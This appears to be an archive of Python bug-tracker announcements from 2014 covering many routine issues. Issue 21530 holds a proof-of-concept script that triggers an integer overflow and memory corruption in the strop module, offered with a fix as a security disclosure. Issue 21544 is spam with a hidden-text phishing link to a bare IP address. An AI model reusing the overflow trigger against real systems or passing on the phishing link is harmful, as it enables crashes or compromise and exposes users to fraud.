--- a/Modules/stropmodule.c Sun Mar 30 16:43:11 2014 -0400
+++ b/Modules/stropmodule.c Mon Mar 31 00:36:57 2014 +0200
@@ -624,6 +624,11 @@
         } else {
             j++;
             if (*p == '\n') {
+                if (i > PY_SSIZE_T_MAX - j){
+                    PyErr_SetString(PyExc_OverflowError,
+                                    "new string is too long");
+                    return NULL;
+                }
                 i += j;
                 j = 0;
             }

Cheers,

Ian Beer
"""

import strop

strs = []
for i in range(20):
  strs.append('\t\n' * 0x10000 + 'A' * 0x1000000)
for i in range(20):
  print hex(id(strs[i]))
strs[14] = None
strop.expandtabs(strs[15], 0x10001)
print strs[15]

----------
components: Extension Modules, Library (Lib)
messages: 218774
nosy: benjamin.peterson
priority: critical
severity: normal
status: open
title: Integer overflow in strop
type: security
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21530>
_______________________________________

From report at bugs.python.org  Mon May 19 05:28:21 2014
From: report at bugs.python.org (Tony Gedge)
Date: Mon, 19 May 2014 03:28:21 +0000
Subject: [New-bugs-announce] [issue21531] Sending a zero-length UDP packet
	to asyncore invokes	handle_close()
Message-ID: <1400470101.73.0.899149180495.issue21531@psf.upfronthosting.co.za>


New submission from Tony Gedge:

Sending a zero-length UDP packet to asyncore closes socket by default.

The default implementation of recv() assumes that zero-length data means close.  This isn't true for UDP - it is possible to send a zero-length payload packet.

A possible work-around is to overload handle_close() and not call self.close(). However, as handle_close() is called as part of exception handling, we can't determine whether the handle_close() is happening due to a zero-length payload or an exception event.

It should be possible to process a zero-length payload UDP packet.

----------
components: Library (Lib)
messages: 218780
nosy: Tony.Gedge
priority: normal
severity: normal
status: open
title: Sending a zero-length UDP packet to asyncore invokes handle_close()
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21531>
_______________________________________

From report at bugs.python.org  Mon May 19 07:42:15 2014
From: report at bugs.python.org (=?utf-8?q?Martin_v=2E_L=C3=B6wis?=)
Date: Mon, 19 May 2014 05:42:15 +0000
Subject: [New-bugs-announce] [issue21532] 2.7.7rc1 msi is lacking
	libpython27.a
Message-ID: <1400478135.47.0.49178894487.issue21532@psf.upfronthosting.co.za>


New submission from Martin v. L?wis:

The 32-bit installer should include libpython27.a, the import library in GNU ld format. To build it, cygwin must be installed and on PATH when the MSI is built. The file will end up in libs/libpython27.a

----------
components: Windows
messages: 218781
nosy: loewis, steve.dower
priority: normal
severity: normal
status: open
title: 2.7.7rc1 msi is lacking libpython27.a

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21532>
_______________________________________

From report at bugs.python.org  Mon May 19 10:10:15 2014
From: report at bugs.python.org (Wolfgang Maier)
Date: Mon, 19 May 2014 08:10:15 +0000
Subject: [New-bugs-announce] [issue21533] built-in types dict docs -
	construct dict from iterable, not iterator
Message-ID: <1400487015.16.0.760931173475.issue21533@psf.upfronthosting.co.za>


New submission from Wolfgang Maier:

The docs for Python3.4 havethis to say about the arguments to the dict constructor:

class dict(**kwarg)
class dict(mapping, **kwarg)
class dict(iterable, **kwarg)

    Return a new dictionary initialized from an optional positional argument and a possibly empty set of keyword arguments.

    If no positional argument is given, an empty dictionary is created. If a positional argument is given and it is a mapping object, a dictionary is created with the same key-value pairs as the mapping object. Otherwise, the positional argument must be an iterator object. Each item in the iterable must itself be an iterator with exactly two objects. The first object of each item becomes a key in the new dictionary, and the second object the corresponding value. If a key occurs more than once, the last value for that key becomes the corresponding value in the new dictionary.

This paragraph uses the term iterator twice when it should talk about an iterable instead.
I'm attaching the patch for this.

Best,
Wolfgang

----------
assignee: docs at python
components: Documentation
files: dict_doc.patch
keywords: patch
messages: 218784
nosy: docs at python, wolma
priority: normal
severity: normal
status: open
title: built-in types dict docs - construct dict from iterable, not iterator
Added file: http://bugs.python.org/file35292/dict_doc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21533>
_______________________________________

From report at bugs.python.org  Mon May 19 15:41:39 2014
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 19 May 2014 13:41:39 +0000
Subject: [New-bugs-announce] [issue21534] 404 on documentation download links
Message-ID: <1400506899.65.0.0656735087144.issue21534@psf.upfronthosting.co.za>


New submission from Zachary Ware:

docs@ has received several reports from people unable to download documentation from docs.python.org/[23]/download.html since the release of 3.4.1rc1 and 2.7.7rc1.

----------
assignee: docs at python
components: Documentation
messages: 218792
nosy: benjamin.peterson, docs at python, georg.brandl, larry, zach.ware
priority: high
severity: normal
status: open
title: 404 on documentation download links
type: behavior
versions: Python 2.7, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21534>
_______________________________________

From report at bugs.python.org  Mon May 19 16:41:50 2014
From: report at bugs.python.org (Matthias Klose)
Date: Mon, 19 May 2014 14:41:50 +0000
Subject: [New-bugs-announce] [issue21535] test_license_exists_at_url fails
	with 3.4.1, wrong/unexpected http error code
Message-ID: <1400510510.74.0.19030338165.issue21535@psf.upfronthosting.co.za>


New submission from Matthias Klose:

======================================================================
FAIL: test_license_exists_at_url (test.test_site.ImportSideEffectTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/scratch/packages/python/3.4/python3.4-3.4.1/Lib/test/test_site.py", line 438, in test_license_exists_at_url
    self.assertEqual(code, 200, msg="Can't find " + url)
AssertionError: 404 != 200 : Can't find http://www.python.org/download/releases/3.4.1/license

----------
components: Tests
messages: 218795
nosy: doko
priority: normal
severity: normal
status: open
title: test_license_exists_at_url fails with 3.4.1, wrong/unexpected http error code
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21535>
_______________________________________

From report at bugs.python.org  Mon May 19 20:50:02 2014
From: report at bugs.python.org (Antoine Pitrou)
Date: Mon, 19 May 2014 18:50:02 +0000
Subject: [New-bugs-announce] [issue21536] extension built with a shared
	python cannot be loaded	with a static python
Message-ID: <1400525402.57.0.75792320709.issue21536@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

When a C extension is built (using distutils) with a shared library Python, it cannot be loaded with an otherwise identical statically linked Python. The other way round works fine. Trivial example using the _ssl module:

>>> import sys
>>> sys.path.insert(0, '/home/antoine/cpython/shared/build/lib.linux-x86_64-3.5/')
>>> import _ssl
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: libpython3.5m.so.1.0: cannot open shared object file: No such file or directory

This is probably because of an additional -L flag that is passed when linking a C extension with a shared library Python. I don't think the flag is useful under Linux (or perhaps under any other OS at all), since the relevant symbols are already loaded when the interpreter tries to load the C extension.

(AFAIK, systems notorious for providing shared library Pythons are RedHat-alike systems, while Debian/Ubuntu provide statically linked Pythons)

----------
components: Library (Lib)
messages: 218806
nosy: dstufft, eric.araujo, loewis, ncoghlan, pitrou
priority: normal
severity: normal
status: open
title: extension built with a shared python cannot be loaded with a static python
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21536>
_______________________________________

From report at bugs.python.org  Mon May 19 20:58:59 2014
From: report at bugs.python.org (Stephen Paul Chappell)
Date: Mon, 19 May 2014 18:58:59 +0000
Subject: [New-bugs-announce] [issue21537] functools.lru_cache does not cache
	exceptions
Message-ID: <1400525939.56.0.613557499448.issue21537@psf.upfronthosting.co.za>


New submission from Stephen Paul Chappell:

While examining the implementation for lru_cache, it came to my attention that the wrappers ignore the possibility of exceptions. Is this on purpose? If the cache is designed to reduce the overhead of running certain functions, it seems like lru_cache should handle returned values along with raised exceptions.

----------
components: Library (Lib)
messages: 218808
nosy: Zero
priority: normal
severity: normal
status: open
title: functools.lru_cache does not cache exceptions
type: enhancement
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21537>
_______________________________________

From report at bugs.python.org  Tue May 20 00:08:52 2014
From: report at bugs.python.org (John Lehr)
Date: Mon, 19 May 2014 22:08:52 +0000
Subject: [New-bugs-announce] [issue21538] plistlib unable to load iOS7
	Safari History.plist
Message-ID: <1400537332.53.0.0901948459241.issue21538@psf.upfronthosting.co.za>


New submission from John Lehr:

plistlib has key error when attempting to load the iOS7  
var/mobile/Applications/com.apple.mobilesafari/Library/Safari/History.plist.  No detected issues with other iOS7 plists.

In [8]: with open('cases/vitale_test_iphone/unback/AppDomain-com.apple.mobilesafari/Library/Safari/History.plist', 'rb') as f:
   ...:     plist = plistlib.lo
plistlib.load   plistlib.loads  
   ...:     plist = plistlib.load(f)
   ...:     
---------------------------------------------------------------------------
KeyError                                  Traceback (most recent call last)
<ipython-input-8-7824ac03848c> in <module>()
      1 with open('cases/vitale_test_iphone/unback/AppDomain-com.apple.mobilesafari/Library/Safari/History.plist', 'rb') as f:
----> 2     plist = plistlib.load(f)
      3 

/usr/lib/python3.4/plistlib.py in load(fp, fmt, use_builtin_types, dict_type)
    993         p = _FORMATS[fmt]['parser'](use_builtin_types=use_builtin_types)
    994 
--> 995     return p.parse(fp)
    996 
    997 

/usr/lib/python3.4/plistlib.py in parse(self, fp)
    620             ) = struct.unpack('>6xBBQQQ', trailer)
    621             self._fp.seek(offset_table_offset)
--> 622             offset_format = '>' + _BINARY_FORMAT[offset_size] * num_objects
    623             self._ref_format = _BINARY_FORMAT[self._ref_size]
    624             self._object_offsets = struct.unpack(

KeyError: 3

----------
messages: 218821
nosy: slo.sleuth
priority: normal
severity: normal
status: open
title: plistlib unable to load iOS7 Safari History.plist
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21538>
_______________________________________

From report at bugs.python.org  Tue May 20 05:53:56 2014
From: report at bugs.python.org (Jim Garrison)
Date: Tue, 20 May 2014 03:53:56 +0000
Subject: [New-bugs-announce] [issue21539] pathlib's Path.mkdir() should
	allow for "mkdir -p"	functionality
Message-ID: <1400558036.91.0.766972225791.issue21539@psf.upfronthosting.co.za>


New submission from Jim Garrison:

As of Python 3.2, `os.makedirs()` takes `exist_ok` as a keyword argument.  If set to true, the function does not raise an error if the directory already exists.  This makes the function's behavior similar to `mkdir -p` on the UNIX commandline.  (See https://docs.python.org/3/library/os.html#os.makedirs)

However, this functionality is missing in Python's new pathlib. In fact, the documentation for `Path.mkdir()` even mentions that if `parent=True` is passed, then it should behave like `mkdir -p`.  This is accurate in that it indeed recursively makes any parent directories necessary, but it is inaccurate in that it raises an error if the directory already exists.

I propose that either `parents=True` should imply that there is no error if the directory already exists (which would be a backwards-incompatible change); or, there could be a new `exist_ok=True`, which could suppress the error for an existing directory.  Either way, it ought to be possible to get the `mkdir -p` functionality easily from pathlib.  And the documentation for `Path.mkdir()` should be updated to explain how to get this `mkdir -p` functionality, with the existing (inaccurate) `mkdir -p` mention removed.

----------
components: Library (Lib)
messages: 218832
nosy: garrison
priority: normal
severity: normal
status: open
title: pathlib's Path.mkdir() should allow for "mkdir -p" functionality
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21539>
_______________________________________

From report at bugs.python.org  Tue May 20 07:59:44 2014
From: report at bugs.python.org (Florent Xicluna)
Date: Tue, 20 May 2014 05:59:44 +0000
Subject: [New-bugs-announce] [issue21540] PEP 8 should recommend "is not"
	and "not in"
Message-ID: <1400565584.02.0.148226279911.issue21540@psf.upfronthosting.co.za>


New submission from Florent Xicluna:

Python accepts both syntaxes:

    if not item in some_list and not item is None:
        return item

and

    if item not in some_list and item is not None:
        return item


In the first form, you identify 5 operators: "not", "in", "and", "not" and "in"
In the second form, you find only 3 operators: "not in", "and", "is not"


Of course CPython does internal optimization, and it compiles both expressions to the same bytecode.

However the second form is more readable and less error-prone. It is plain English.

I propose to add such advice to the section "Programming Recommendations" of PEP 8.

----------
assignee: docs at python
components: Documentation
messages: 218837
nosy: barry, docs at python, flox, ncoghlan
priority: normal
severity: normal
status: open
title: PEP 8 should recommend "is not" and "not in"
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21540>
_______________________________________

From report at bugs.python.org  Tue May 20 15:46:54 2014
From: report at bugs.python.org (Pavel Machyniak)
Date: Tue, 20 May 2014 13:46:54 +0000
Subject: [New-bugs-announce] [issue21541] Provide configure option
	--with-ssl for compilation with	custom openssl
Message-ID: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za>


New submission from Pavel Machyniak:

There is no easy way to build python with custom openssl build. This can lead to miscellaneous problems (like segmentation faults) in various situations/configurations (see eg. http://stackoverflow.com/questions/22409092/coredump-when-compiling-python-with-a-custom-openssl-version). The problems usually arise when different version of openssl headers and libs are used, or when different versions of openssl is required within one process (eg. using python within apache httpd process (mod_wsgi or mod_python) + some other module that uses explicitly updated/newer/incompatible version of openssl).

The best way to workaround this problem would be to have the clear way how to build python with specific openssl version. The best way would by to use configure options --with-ssl=PATH optionally with --with-ssl-includes=PATH and --with-ssl-libs=PATH. In this case, setup.py shall not search for openssl but shall use the explicitly specified one.

I will shortly provide the patch for the current version of configure and setup.py.

See related issues:
 - http://bugs.python.org/issue5575
 - http://bugs.python.org/issue16660

----------
components: Build
messages: 218844
nosy: machyniak
priority: normal
severity: normal
status: open
title: Provide configure option --with-ssl for compilation with custom openssl
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21541>
_______________________________________

From report at bugs.python.org  Tue May 20 17:32:41 2014
From: report at bugs.python.org (Ram Rachum)
Date: Tue, 20 May 2014 15:32:41 +0000
Subject: [New-bugs-announce] [issue21542] pprint doesn't work well for
	counters, sometimes shows them like a dict
Message-ID: <1400599961.44.0.600133216015.issue21542@psf.upfronthosting.co.za>


New submission from Ram Rachum:

pprint doesn't work well for counters, sometimes shows them like a dict 
    
    Python 3.4.0 (v3.4.0:04f714765c13, Mar 16 2014, 19:25:23) [MSC v.1600 64 bit (AMD64)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> dd={'a': 11640, 'b': 2614, 'c': 5261, 'd': 5311, 'e': 17722, 'f': 3041, 'g': 3570, 'h': 6740, 'i':
     10729, 'j': 279, 'k': 1812, 'l': 6391, 'm': 5037, 'n': 10111, 'o': 11922, 'p': 3863, 'q': 99, 'r': 94
    61, 's': 9444, 't': 13744, 'u': 4027, 'v': 1486, 'w': 3194, 'x': 540, 'y': 2976, 'z': 203}
    >>> import collections
    >>> collections.Counter(dd)
    Counter({'e': 17722, 't': 13744, 'o': 11922, 'a': 11640, 'i': 10729, 'n': 10111, 'r': 9461, 's': 9444,
     'h': 6740, 'l': 6391, 'd': 5311, 'c': 5261, 'm': 5037, 'u': 4027, 'p': 3863, 'g': 3570, 'w': 3194, 'f
    ': 3041, 'y': 2976, 'b': 2614, 'k': 1812, 'v': 1486, 'x': 540, 'j': 279, 'z': 203, 'q': 99})
    >>> import pprint
    >>> pprint.pprint(collections.Counter(dd))
    {'a': 11640,
     'b': 2614,
     'c': 5261,
     'd': 5311,
     'e': 17722,
     'f': 3041,
     'g': 3570,
     'h': 6740,
     'i': 10729,
     'j': 279,
     'k': 1812,
     'l': 6391,
     'm': 5037,
     'n': 10111,
     'o': 11922,
     'p': 3863,
     'q': 99,
     'r': 9461,
     's': 9444,
     't': 13744,
     'u': 4027,
     'v': 1486,
     'w': 3194,
     'x': 540,
     'y': 2976,
     'z': 203}
    >>>

----------
components: Library (Lib)
messages: 218848
nosy: cool-RR
priority: normal
severity: normal
status: open
title: pprint doesn't work well for counters, sometimes shows them like a dict
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21542>
_______________________________________

From report at bugs.python.org  Tue May 20 18:51:57 2014
From: report at bugs.python.org (Dann Ke)
Date: Tue, 20 May 2014 16:51:57 +0000
Subject: [New-bugs-announce] [issue21543] json library fails to serialize
	objects such as datetime
Message-ID: <1400604717.26.0.426276318996.issue21543@psf.upfronthosting.co.za>


New submission from Dann Ke:

I'm using the json library to serialize objects out for web use.

Whenever I serialize a datetime or other included python library object (uuid as another example), it fails with 

TypeError: datetime.datetime(2014, 5, 20, 9, 37, 56, 133627) is not JSON serializable

While this behaviour is well and good, what I am suggesting is that I would like a way for this library to attempt to serialize an object when it encounters an exception. 

For instance, if it attempts to serialize a datetime and fails, I would like the option of submitting a method as a parameter to the json.dumps() method that the object is put into in an attempt to serialize it.

As a code example:

    import datetime, json
    json.dumps(dict(mydate=datetime.datetime.now()),
        serialize=str)

That way, when it encounters a TypeError, it will set mydate to a string and will be serialized out.

Right now, I have to use str() on a few different fields because they are not standard types (str, int, bool, float, None, etc)

This isn't a priority and I'm open to criticisms. Would you accept a patch for this if you are too busy to work on this feature?

Thank you for your time.
Dann

----------
components: Extension Modules, Library (Lib)
messages: 218849
nosy: Dann.Ke
priority: normal
severity: normal
status: open
title: json library fails to serialize objects such as datetime
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21543>
_______________________________________

From report at bugs.python.org  Tue May 20 22:48:56 2014
From: report at bugs.python.org (bjlittle)
Date: Tue, 20 May 2014 20:48:56 +0000
Subject: [New-bugs-announce] [issue21544] Did y ou call me
Message-ID: <537bbfb4.4253b40a.2a17.fffff980@mx.google.com>


New submission from bjlittle:

<span style="VISIBILITY:hidden;display:none">That was a really bad thing to happen in Hagrids first class though wasnt it said Ron 
</span><br /><em>i have sent you a aol message</em><br /><a href="http://107.183.122.57/?hacivo=yixi&cisi=&id=cmVwb3J0QGJ1Z3MucHl0aG9uLm9yZw==&cujonuzo=cmVwb3J0" contenteditable="false">View your notification here</a>

----------
messages: 218856
nosy: bill.little
priority: normal
severity: normal
status: open
title: Did y ou call me

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21544>
_______________________________________

From report at bugs.python.org  Tue May 20 23:37:33 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 20 May 2014 21:37:33 +0000
Subject: [New-bugs-announce] [issue21545] Tutorial: examples and comment
	about mutation methods
Message-ID: <1400621853.89.0.606116768213.issue21545@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

The Tutorial section More on Lists
https://docs.python.org/3.4/tutorial/datastructures.html#more-on-lists includes list.pop but ignores it in the example and final comment. I think the examples should be augmented and the comment modified.

1. (simplest) End the example block with

>>> a.pop()
1234.5
>>> a
[-1, 1, 66.25, 333, 333]

2. The comment says "You might have noticed that methods like insert, remove or sort that modify the list have no return value printed ? they return None. [1] This is a design principle for all mutable data structures in Python." [The footnote says "[1] Other languages may return the mutated object, which allows method chaining, such as d->insert("a")->remove("b")->sort();."]

Inserting 'only' before 'modify' makes the statement true even now with .pop added. I think 'the default' should be added before 'None', but that would be optional. I do not think .pop needs to be explicitly mentioned here since the point of the comment is to explain the lack of a printed return value, and .pop does have a printed return value.

----------
assignee: docs at python
components: Documentation
messages: 218857
nosy: docs at python, ncoghlan, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Tutorial: examples and comment about mutation methods
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21545>
_______________________________________

From report at bugs.python.org  Wed May 21 01:38:26 2014
From: report at bugs.python.org (Kurt Rose)
Date: Tue, 20 May 2014 23:38:26 +0000
Subject: [New-bugs-announce] [issue21546] int('\0') gives wrong error message
Message-ID: <1400629106.74.0.994862767087.issue21546@psf.upfronthosting.co.za>


New submission from Kurt Rose:

int() ignores everything after a null byte when reporting an error message.

Here you can see an example of how this manifests, and why could be a problem.

Python 2.7.6 (default, Nov 10 2013, 19:24:18) [MSC v.1500 32 bit(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> int('a')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 10: 'a'
>>> int('\0a')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 10: ''
>>> int('abc\0def')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 10: 'abc'

----------
components: Interpreter Core
messages: 218859
nosy: Kurt.Rose
priority: normal
severity: normal
status: open
title: int('\0') gives wrong error message
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21546>
_______________________________________

From report at bugs.python.org  Wed May 21 08:39:19 2014
From: report at bugs.python.org (Joshua Landau)
Date: Wed, 21 May 2014 06:39:19 +0000
Subject: [New-bugs-announce] [issue21547] '!s' formatting documentation bug
Message-ID: <1400654359.7.0.699720681212.issue21547@psf.upfronthosting.co.za>


New submission from Joshua Landau:

In the docs for 2.x about the formatting syntax:

    https://docs.python.org/2/library/string.html#format-string-syntax

it says

    "Two conversion flags are currently supported: '!s' which calls str() on the value, and '!r' which calls repr()."

but for unicode formatters, '!s' calls unicode() instead.

See http://stackoverflow.com/questions/23773816/why-python-str-format-doesnt-call-str for the question that found this.

----------
assignee: docs at python
components: Documentation
messages: 218863
nosy: Joshua.Landau, docs at python
priority: normal
severity: normal
status: open
title: '!s' formatting documentation bug
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21547>
_______________________________________

From report at bugs.python.org  Wed May 21 10:43:03 2014
From: report at bugs.python.org (Dima Tisnek)
Date: Wed, 21 May 2014 08:43:03 +0000
Subject: [New-bugs-announce] [issue21548] pydoc -k IndexError on empty
	docstring
Message-ID: <1400661783.43.0.558471008968.issue21548@psf.upfronthosting.co.za>


New submission from Dima Tisnek:

While trying to track down another bug, I disabled some packages:

[dima at bmg tmp]$ chmod a-x /usr/lib/python3.4/site-packages/speechd*

Then ran pydoc -k:

[dima at bmg tmp]$ pydoc3.4 -k n688954789
Traceback (most recent call last):
  File "/usr/bin/pydoc3.4", line 5, in <module>
    pydoc.cli()
  File "/usr/lib/python3.4/pydoc.py", line 2548, in cli
    apropos(val)
  File "/usr/lib/python3.4/pydoc.py", line 2080, in apropos
    ModuleScanner().run(callback, key, onerror=onerror)
  File "/usr/lib/python3.4/pydoc.py", line 2061, in run
    desc = (module.__doc__ or '').splitlines()[0]
IndexError: list index out of range

Clearly "".splitlines() is always empty; missing doc is not handled correctly.

----------
components: Library (Lib)
messages: 218865
nosy: Dima.Tisnek
priority: normal
severity: normal
status: open
title: pydoc -k IndexError on empty docstring
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21548>
_______________________________________

From report at bugs.python.org  Wed May 21 12:30:23 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 May 2014 10:30:23 +0000
Subject: [New-bugs-announce] [issue21549] Add the members parameter for
	TarFile.list()
Message-ID: <1400668223.94.0.601908593409.issue21549@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

The proposed patch adds the members parameter for TarFile.list() with the same meaning as in TarFile.extractall(). This is needed for implementing the tar command utility which allows filtering and transforming an output (e.g. output numerical ids instead names for owner/group).

An alternative approach is to add the filter parameter (as in TarFile.add()) to both TarFile.list() and TarFile.extractall().

----------
components: Library (Lib)
files: tarfile_list_members.patch
keywords: patch
messages: 218866
nosy: lars.gustaebel, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Add the members parameter for TarFile.list()
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35307/tarfile_list_members.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21549>
_______________________________________

From report at bugs.python.org  Wed May 21 12:49:14 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 May 2014 10:49:14 +0000
Subject: [New-bugs-announce] [issue21550] Add Python implementation of the
	tar utility
Message-ID: <1400669354.09.0.317678574527.issue21550@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Here is preliminary Python implementation of the tar archiving utility. I propose to add it to Tools/script. The main purpose of this the research of which features needed the tarfile module. Another purpose is that this provides more powerful tool to create or extract tar archives on platforms where the tar utility is not installed (the tarfile module itself provides very simple command line interface).

Supported options are mainly common subset of GNU tar and bsdtar options. Some options (--absolute-names, controlling of symlinks and hardlings dereferencing and files overwriting) needs implementing new features in the tarfile module.

----------
components: Demos and Tools
files: tar.py
messages: 218867
nosy: berker.peksag, lars.gustaebel, serhiy.storchaka
priority: normal
severity: normal
stage: test needed
status: open
title: Add Python implementation of the tar utility
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35308/tar.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21550>
_______________________________________

From report at bugs.python.org  Wed May 21 17:38:12 2014
From: report at bugs.python.org (Wellington Fan)
Date: Wed, 21 May 2014 15:38:12 +0000
Subject: [New-bugs-announce] [issue21551] Behavior of word boundaries in
	regexes unexpected
Message-ID: <1400686692.12.0.566986679321.issue21551@psf.upfronthosting.co.za>


New submission from Wellington Fan:

Hello,

It seems that the word boundary sequence -- r'\b' -- is not behaving as expected using re.split(). The regex docs say:

  \b       Matches the empty string, but only at the start or end of a word.

My (failing) test:

> import re
> re.split(r'\b', 'A funky string')
['A funky string']


We get a one-element array returned; I would expect a seven-element array:
['', 'A', ' ', 'funky', ' ', 'string', '']

I have equivalent code in PHP that *does* work:
 php > print_r( preg_split('/\b/', 'A funny string') );
 Array
 (
     [0] =>
     [1] => A
     [2] =>
     [3] => funny
     [4] =>
     [5] => string
     [6] =>
 )

----------
components: Regular Expressions
messages: 218879
nosy: Wellington.Fan, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Behavior of word boundaries in regexes unexpected
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21551>
_______________________________________

From report at bugs.python.org  Thu May 22 16:42:02 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 May 2014 14:42:02 +0000
Subject: [New-bugs-announce] [issue21552] String length overflow in Tkinter
Message-ID: <1400769722.86.0.708994855199.issue21552@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Tkinter converts str argument to C string and then pass it to Tcl. But Tcl handles string length as int and it can overflow if strlen() returns value > INT_MAX. Proposed patch introduces special conversion functions which ensure that string length will not overflow. It also corrects error message in getint(), getdouble() and getboolean() methods (e.g. "must be int or str" instead of "must be str") and adds tests for them.

----------
assignee: serhiy.storchaka
components: Tkinter
files: tkinter_strlen_overflow.patch
keywords: patch
messages: 218898
nosy: gpolo, loewis, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: String length overflow in Tkinter
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35312/tkinter_strlen_overflow.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21552>
_______________________________________

From report at bugs.python.org  Thu May 22 17:37:33 2014
From: report at bugs.python.org (mythsmith)
Date: Thu, 22 May 2014 15:37:33 +0000
Subject: [New-bugs-announce] [issue21553] Behaviour of modules depends on
	how they where imported
Message-ID: <1400773053.58.0.249917369677.issue21553@psf.upfronthosting.co.za>


New submission from mythsmith:

I found a condition where different behaviour could be observed depending on how a module is imported. 

It seems to be different to write:

import module
# against:
from package import module

In the attachment you find a minimal package (imptest) with this organization:

imptest
  |-> __init__.py (empty)
  |-> m.py (module which initializes a variable "foo=0")
  |- sub (package)
      |-> __init__.py (empty)
      |-> subm.py (module which, upon import, changes "m.foo=1")

And two scripts which can be directly executed:
  |-> run0.py (using "import m")
  |-> run1.py (using "from imptest import m")

Contents of the module m:
#########################
foo=0
def do():
    global foo
    foo=1
    print('doing foo=',foo)
print("imported foo=",foo)

Contents of module subm:
#######################
from imptest import m
from imptest import m
print("imported sub, foo=",m.foo)

Both run0.py and run1.py imports module m and calls the do() function, thus theoretically changing foo to 1.
Both later import the subm module, which in turn imports again the m module. What I would expect is that, 
since m is already in memory, it is not really imported again: so foo remains equal to 1 also after subm import.

I found that this actually depends on how I imported m in the script.

Contents of run0.py:
####################
import m
m.do()
print("importing subm")
from imptest.sub import subm

Result:
imported m; foo= 0
doing foo= 1
importing subm
imported m; foo= 0
imported sub, foo= 0

As you can see from printout "importing subm", the m module is imported again and thus foo is reset to 0. In run1.py, 
I changed the line "import m" to "from imptest import m", and got the expected behaviour:

Contents of run1.py:
####################
from imptest import m
m.do()
print("importing subm")
from imptest.sub import subm


Result:
imported m; foo= 0
doing foo= 1
importing subm
imported sub, foo= 1

I know that directly running a module in the first level of a package may seem strange or not correct, but could someone explain why this is happening? 
I would expect a module to be loaded in memory at the first import and then referred in any way I later or elsewhere in the program choose to import it.

----------
components: Interpreter Core
files: imptest.zip
messages: 218901
nosy: mythsmith
priority: normal
severity: normal
status: open
title: Behaviour of modules depends on how they where imported
type: behavior
versions: Python 2.7, Python 3.2
Added file: http://bugs.python.org/file35314/imptest.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21553>
_______________________________________

From report at bugs.python.org  Thu May 22 19:39:05 2014
From: report at bugs.python.org (Erik Kusko)
Date: Thu, 22 May 2014 17:39:05 +0000
Subject: [New-bugs-announce] [issue21554] Possible Error in "Brief Tour of
	the Standard Library"
Message-ID: <1400780345.53.0.941799194043.issue21554@psf.upfronthosting.co.za>


New submission from Erik Kusko:

In https://docs.python.org/3/tutorial/stdlib.html, there is an example:

>>> import shutil
>>> shutil.copyfile('data.db', 'archive.db')
>>> shutil.move('/build/executables', 'installdir')

Should it not be:

>>> import shutil
>>> shutil.copyfile('data.db', 'archive.db')
'archive.db'
>>> shutil.move('/build/executables', 'installdir')
'installdir'

?  I am run under Windows, so I don't know if the behavior is different than under Linux.  Under Windows the destination file and destination directory, respectively, are echoed to stdout.

----------
assignee: docs at python
components: Documentation
messages: 218904
nosy: Pitmaster, docs at python
priority: normal
